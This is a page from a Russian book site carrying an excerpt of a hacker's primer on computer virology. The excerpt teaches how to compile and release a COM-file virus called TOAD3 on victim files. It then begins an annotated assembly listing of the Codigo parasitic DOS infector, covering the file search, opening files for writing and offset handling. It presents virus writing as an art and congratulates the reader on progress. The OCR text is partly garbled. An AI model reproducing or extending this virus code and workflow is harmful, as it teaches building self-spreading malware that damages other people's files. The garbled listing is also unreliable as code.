Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 26 27 28 29 30 31 < 32 > 33 34 35 36 37 38 .. 123 >> Следующая

устанавливаем область для DTA.
code ends end start
Следующие две строки закрывают код вируса.
Code ends определяет конец сегмента кода. Если бы мы определили сегмент
данных, нам пришлось бы вставить здесь строку с data ends.
Директива end отмечает конец вируса.
Start указывает компьютеру, где начинать выполнение кода, размещенного в
сегменте кода.
105
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Компилирование вируса
Поздравляю вас с прохождением очередного этапа в познании Искусства
вирусмейкерства. Теперь вам нужно компилировать вирус и проверить его на
каких-нибудь файлах. Итак, берем исходный код и компилируем его с помощью
TASM. Компоновщик TLINK превратит результат компиляции в исполнительную
программу. Ниже приведены инструкции, которые вам уже знакомы:
C:\>tasm toad3.asm (вы можете делать это из любой директории). Результат
будет примерно следующим:
Turbo Assembler Version х.хх
Assembling file: toad3.asm
Error Messages: none
Warning Messages: none
Passes: 1
Remaining Memory: 425k
Если в коде появится ошибка, TASM укажет это в поле сообщений об ошибках.
Поместите копии ctoad3.asm", TASM и TLINK в одну директорию. TASM
конвертирует ASM-файл в OBJ-файл.
Чтобы превратить его в исполнительный СОМ-файл, используйте компоновщик.
Напечатайте:
C:\>tlink /t toad3.obj
TLINK вернет TOAD3.COM в текущую директорию. Перед вами готовый вирус.
Не'бойтесь, он послушный. Перенесите его в садок для разведения.
Напечатайте:
С:\>сору toad3.com c:\pond\
и затем:
C:\>cd ..\pond
106
ГЛАВА 3. Сложные СОМ-инфекторы
Теперь мы находимся в директории pond. Чтобы пролистать содержание
директории, напечатайте:
C:\pond>dir.
Допустим, там находится TOAD3.COM и три файла FLY(1-
3).СОМ - вирус и три жертвы. FLY.COM является простым СОМ-файлом,
созданным нами. Он ничего не делает. Хорошая жертва. Выпускаем на него
нашу "жабку". Для этого печатаем:
C:\pond>toad3
Снова смотрим содержание директории. Видите? Файлы FLY(l-3) стали больше.
Теперь они инфицированы и могут служить разносчиками вируса.
Чтобы закрепить полученные навыки, я предлагаю вам проанализировать
исходный код довольно известного вируса Codigo. Он является стандартом
паразитических СОМ-ннфекторов, которые крепятся к концу жертвы.
Вирус CODIGO
Переменные в СОМ*файле рассчитываются относительно офсета 100h.
codigo segment'code' org 100h ;организуем старт кода
;из офсета 100h
assume cs:codigo,ds:codigoles:codigo ;определяем использование сегментов
start procfar ; начинаем подпрограмму
COMIENZO:
push cs ; сохраняем CS
push cs ;сохраняем CS еще раз
pop ds '.выносим DS из стека
pop es ;выносимЕ2> из стека
call faisojxoc ;вызываемргос, чтобы ее адрес разместился в стеке
fatsojxoc ptocnear
107
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
falsojxoc endp pop bp ;BP<= адрес proc.
sub bp, 107h ;BP<= BP - предыдущая д иректория
Здесь мы берем переменные относительно ВР, поскольку инфекция переносит
переменные точно на длину файла. При первой инфекции инструкция "SUB BP,
107h" - 107h, поэтому содержание ВР = 0.
Когда мы вызываем переменную с "ВР+VARIABLE", значение адреса переменной
не модифицируется. Когда мы загружаем его, к примеру, из байта 100h
зараженного файла, инструкция "SUB ВР, 107h" оставляет нас в адресе 207h,
что означает BP=100h - размер оригинального файла. Если бы мы вызывали
переменную без добавления ВР, то получили бы значение на 100h байтов
короче.
Находим первый COM-файл в директории:
mov ah, 4eh ; Ищем 1-й файл
lea dx, bp+file_inf ;DS:DX= офсет FILEJNF
;(*.*), то есть ищем все файлы, включая
;директорные имена с расширениями
mov сх, OOOOh ;строка атрибутов
int 21 h
Атрибуты, упомянутые в комментарии, являются атрибутами директорной
строки. Устанавливая атрибуты в 0, мы приказываем DOS искать нормальные
файлы. Если мы введем комбинацию значений для "скрытых", "системных" и
"директорных" атрибутов, DOS будет искать файлы с этими атрибутами плюс
нормальные файлы.
Если в ранг поиска включается бит "тома" {Volume), поиск ограничится
только им. Ниже приведены биты, которые соответствуют каждому атрибуту:
Bits: 765432.........1 Бит 0: только чтение
1. Бит 1:скрытый
1 . . Бит 2: системный
1ПЯ
ГЛАВА 3. Сложные СОМ-инфекгоры
1 . . . Бит 3: том
... 1 . . . . Бит 4: директория
.. 1.......Бит 5: файл
Биты 6 и 7 не используются, так как они зарезервированы для "будущих
приложений".
Открываем файл:
mov ah, 3dh ;Открываем файл
mov al ,00000010b ; в режиме чтения/записи
mov dx, 009eh ;DX<== офсет ОТА(имя файла)
int 21 h ;вносим дескриптор в ах
push ах ;и сохраняем в стеке
Атрибуты, которые мы установили в AL, уже не те, что были раньше. Это
атрибуты "открытия". Нас интересуют только первые три бита:
биты 21 0:
0 0 0 режим "только чтение"
0 0 1 режим "только запись"
010 режим "чтение/запись"
Итак, теперь у нас имеются атрибуты файла, сохраненные AL. Нас нужно
сохранить в dx офсет переменной, где находится цепочка ASCIIZ с именем
открытого файла В нашем случае мы не используем переменную NAME_OF_FILE,
Предыдущая << 1 .. 26 27 28 29 30 31 < 32 > 33 34 35 36 37 38 .. 123 >> Следующая